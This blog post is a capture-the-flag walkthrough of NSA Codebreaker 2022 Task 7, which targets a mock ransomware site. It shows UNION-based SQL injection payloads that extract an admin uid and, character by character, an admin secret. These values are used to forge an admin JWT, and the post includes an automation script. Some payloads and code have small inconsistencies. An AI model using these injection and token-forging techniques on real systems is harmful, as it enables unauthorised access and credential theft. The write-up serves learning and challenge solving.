blog team

Task 7 of NSA Codebreaker 2022

Robert Jamison

 | 

09 Dec 2022


Task 7 - Privilege Escalation - (Web Hacking, SQL Injection)

With access to the site, you can access most of the functionality. But there’s still that admin area that’s locked off.

Generate a new token value which will allow you to access the ransomware site as an administrator.

Prompt:

Pre-Requisites

Building a Token

As we learned in the last Task, the following information is required to build a JSON Web Token. Here’s what we have on-hand already.

If we can grab an Admin uid and sec, we should be able to generate an Admin token.

Information Gathering

After opening the backend website, we see that there are seven links in the menu:

We can clearly see on the Admin List page that the admin user is RoomyFoodstuffs.

Admin List Page

Getting the Admin’s Metrics

Upon reviewing the server.py file, we find a couple of interesting functions that use SQL commands. Upon first glance at the website, the function userinfo() seems to show only information about the current user.

userinfo page

However, after reading the server.py file, we realize that we can use query arguments to populate information about specific users.

def userinfo():
query = request.values.get('user')
if query == None:
  query =  util.get_username()
userName = memberSince = clientsHelped = hackersHelped = contributed = ''
with util.userdb() as con:
  infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query

Let’s try populating the information for the RoomyFoodstuffs by adding a user argument to the URI query, like so:

userinfo admin

Format String Vulnerability

Line 33 of the server.py file actually includes a vulnerability:

infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query

Python Format Strings are an easy way of making various data types human readable without having to worry about conversions. In this case, the %s structure tells python to paste the query value directly into the string.

Format Strings can be dangerous, especially when the string is executed afterwards. If the user’s input is not sanitized before being joined with a SQLite expression, additional commands could be injected afterwards. This is often called a SQL Injection or Format Strings attack.

In theory, we can use the user argument of the userinfo page to inject additional SQL commands. We can test our theory by trying to change the original SQLite statement from one that select a user by username:

SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName='RoomyFoodstuffs'

To a SQLite statement that selects a user by uid. What we are really doing is adding ' OR a.uid='22712 to the user argument.

SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName='' OR a.uid='22712'

Notice that the command inserts two additional ' singlequote symbols to insert the command while still using the outer two singlequote symbols that are in the source code.

To add this string to the user argument, we’ll need to URL encode the string (I used CyberChef) and add it to the end of the URL.

This still gives us the page for the AttractiveWhorl user, but now it uses the uid to do so.

userinfo uid

Useful Table Fields

We still don’t have a good idea of what information is stored in both the UserInfo and Account tables. We get our first clue from the util.py script:

# A table of the "Customers"
@contextmanager
def victimdb():
	victimdb = "/opt/ransommethis/db/victims.db"
	try:
		con = sqlite3.connect(victimdb)
		yield con
	finally:
		con.close()

# A table of the Ransomware Team Members
@contextmanager
def userdb():
	userdb = f"/opt/ransommethis/db/user.db"
	try:
		con = sqlite3.connect(userdb)
		yield con
	finally:
		con.close()

# The token generation function
def generate_token(userName):
	""" Generate a new login token for the given user, good for 30 days"""
	with userdb() as con:
    # NOTICE THE `uid`, `userName`, AND `secret` FIELDS IN THE `Accounts` TABLE!!!
		row = con.execute("SELECT uid, secret from Accounts WHERE userName = ?", (userName,)).fetchone()
		now = datetime.now()
		exp = now + timedelta(days=30)
		claims = {'iat': now,
		          'exp': exp,
				  'uid': row[0],
				  'sec': row[1]}
		return jwt.encode(claims, hmac_key(), algorithm='HS256')

# Checks if the user is an administrator
def is_admin():
	""" Is the logged-in user an admin? """
	uid = get_uid()
	with userdb() as con:
    # NOTICE THE `isAdmin` FIELD IN THE `Accounts` TABLE!!!
		query = "SELECT isAdmin FROM Accounts WHERE uid = ?"
		row = con.execute(query, (uid,)).fetchone()
		if row is None:
			return False
		return row[0] == 1

# Login the user
def login(username, password):
	""" Returns a login cookie, or None if the user cannot be validated """
	with userdb() as con:
    # NOTICE THE `pwhash` and `pwsalt` FIELD IN THE `Accounts` TABLE!!!
		row = con.execute('SELECT pwhash, pwsalt FROM Accounts where userName = ?', (username, )).fetchone()
		if row is None:
			return None
		if scrypt(password, salt=row[1], n=16384, r=8, p=1) != b64decode(row[0]):
			return None
		return generate_token(username)

This tells us that the Accounts table has at least the following fields we can query:

Getting the Admin UID

Let’s try to build a SQL injection statement that returns one of the numeric values.

SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName=''
UNION
SELECT A.uid, A.uid, A.isAdmin, A.isAdmin
FROM Accounts A
WHERE A.isAdmin = 1 --'

Which results in the following SQL Injection for the user argument:

%27%20UNION%20SELECT%20A%2Euid%2C%20A%2Euid%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D

Here is the URL with the argument encoded at the end:

If my hunch is correct, the top two boxes in the screen should reflect the uid value, and the bottom two boxes should say 1 to reflect the isAdmin value.

userinfo admin uid

As we can see, the UID for the Admin user is 14795

Getting the Admin Secret

Let’s try the same technique we used before to grab the secret value for the admin user.

SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName=''
UNION
SELECT A.uid, A.secret, A.isAdmin, A.isAdmin
FROM Accounts A
WHERE A.isAdmin = 1 --'

Which results in the following SQL Injection for the user argument:

%27%20UNION%20SELECT%20A%2Euid%2C%20A%2Euid%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D

Internal Server Error

Unfortunately, we get an internal server error. If we take another look at the userinfo() function, we’ll see why:

with util.userdb() as con:
  infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
  row = con.execute(infoquery).fetchone()
  if row != None:
    userName = query
    # All values are sanitized as INTEGERS
    memberSince = int(row[0])
    clientsHelped = int(row[1])
    hackersHelped = int(row[2])
    contributed = int(row[3])

It looks like the script is limiting output to Integer values only.

Converting Letters to Numbers

It is possible in SQL to convert a character to a number using the UNICODE function. For example, the command SELECT UNICODE('A'); returns a value of 65. This works great for a single character at a time, but if we run the command on a multi-character string, we only get the unicode value of the first character.

To convert each letter at a time to UNICODE, we’ll need to also use the SUBSTR function. For example, the command SELECT SUBSTR('Apple', 1, 3); returns a value of App. The format for the function is SUBST("string", startingLetter, numberOfLetters). If you wanted to get the last middle two letters in the word balloons, you would use the command SELECT SUBSTR('balloons', 4, 2);.

If we combine these two functions together, we could theoretically read each character of the secret value at a time as unicode. Let’s write and test the first query.

SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName=''
UNION
SELECT A.uid, UNICODE(SUBSTR(A.secret,1,1)), A.isAdmin, A.isAdmin
FROM Accounts A
WHERE A.isAdmin = 1 --'

Which becomes the following SQL inject: %27%20UNION%20SELECT%20A%2Euid%2C%20UNICODE%28SUBSTR%28A%2Esecret%2C1%2C1%29%29%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D

And when it is added to the URI, it results in the following link:

userinfo admin secret

As we can see, the UNICODE value is 117, which translates to the u character.

Let’s repeat this process for each of 32 characters in the secret value. We can do this by incrementing the second argument of each SUBSTR function like UNICODE(SUBSTR(A.seret, <letterNumber>, 1)).

When we finish, we get the following UNICODE values:

117 68 49 50 81 51 100 85 78 76 82 116 109 69 98 110 87 101 120 109 52 73 54 50 105 114 73 83 79 68 119 54

When we convert them all back to letters, we get the following string:

uD12Q3dUNLRtmEbnWexm4I62irISODw6

Creating the Admin Token

If you’re lost, look at the script and process from Task 6.

Go ahead and create an Admin token with the uid of 14795 and the sec of uD12Q3dUNLRtmEbnWexm4I62irISODw6. Once you’ve built the token, add it to the browser as a cookie with the name of tok. In my case, the last tok value I generated was eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NjkwNDIxODAsImV4cCI6MTY3MTYzNDE4MCwidWlkIjoxNDc5NSwic2VjIjoidUQxMlEzZFVOTFJ0bUVibldleG00STYyaXJJU09EdzYifQ.uthCq56mdrqw26iidn_ZUGiwaA2Z8K9UfidP2ZpcJV8.

Test out your new credentials by visiting the Admin page.

admin page

We’ve got access to the admin page. When we submit the admin token to the NSA Codebreaker Submission Portal, we get a green banner, meaning it worked!

Task 7 Success

Badge:

Badge 7

BONUS: Automated Script

This is a script I built to automate the entire process. I could have hard-coded the secret value, but I didn’t want to risk losing access when the admin changes their password.

#!/usr/bin/env python3

# Needed to request webpages and strip out the <p> tag values
from html.parser import HTMLParser
from bs4 import BeautifulSoup
import requests
# Needed to build the JSON Web Tokens
import jwt
from datetime import datetime, timedelta

def buildToken(uid, sec):
    """Code copied from Task 6"""

    hmac_key = "QKOvgVfXixejHbpu7Leh6twMHVZcqsqE"
    now = datetime.now()
    exp = now + timedelta(days=30)

    claims = {
        "iat": now,
        "exp": exp,
        "uid": uid,
        "sec": sec
    }

    return jwt.encode(claims, hmac_key, algorithm="HS256")

def grabSec(uid, token):
    """
    Uses a basic User Token to access and exploit an un-sanitized input to a database query.

    Steps:
    1. Builds Token Cookie
    2. Sends 32 sql injections: one for each character of the secret
       a. Injects SQL into un-sanitized input on 'userinfo' page query args
       b. Only numbers allowed, so convert 1 character of secret to unicode int
       c. Do this 32 times to get the entire secret
    3. Tests the page response to see if it loaded
    4. Converts text to a BeautifulSoup object
    5. Grabs the webpage value, converts back to unicode character, and adds to result string
    """
    result = ""
    cookie = { "tok" : token}

    for i in range(1,33):
        url  = "https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo"
        url += "?user=NULL' UNION SELECT A.uid, UNICODE(substr(A.secret," + str(i) + ",1)), A.isAdmin, A.isAdmin FROM Accounts A WHERE A.uid = " + uid + "--"
        r = requests.get(url, cookies=cookie)
        if r.status_code == 200:
            content = r.text
            soup = BeautifulSoup(content, "html.parser")
            # grab the integer value from the second <p> tag in the document
            # and convert it to a character
            result += chr(int(soup.find_all("p")[1].text))

    return result

def testToken(token):
    """
    Verifies that the user's token skips the login page.

    Steps:
    1. Build Cookie with token
    2. Request login-page and parse with BeautifulSoup
    3. Check for words 'Login Page'
    """
    cookie = {"tok" : token}
    url = "https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo"
    r = requests.get(url, cookies=cookie)
    if r.status_code == 200:
        content = r.text
        soup = BeautifulSoup(content, "html.parser")
        if "Login" in soup.title.text:
            return False
        return True
    return False

def main():
    # create basic user token using these values:
    # uid = 22712
    # sec = "V6bLNaOZ7sQzJAH8OpuUaVFtxZkPsEWi"
    userToken = buildToken(22712, "V6bLNaOZ7sQzJAH8OpuUaVFtxZkPsEWi")
    # Use the basic user token to exploit the poor input sanitation on the database query
    adminSec = grabSec(14795, userToken)
    # create an Admin Token
    adminToken = buildToken(14795, adminSec)

    # Test the Admin token to see if it works
    if testToken(adminToken):
        print(adminToken)
    else:
        print("Failed!")

# Runs the script from command line
if __name__ == "__main__":
    main()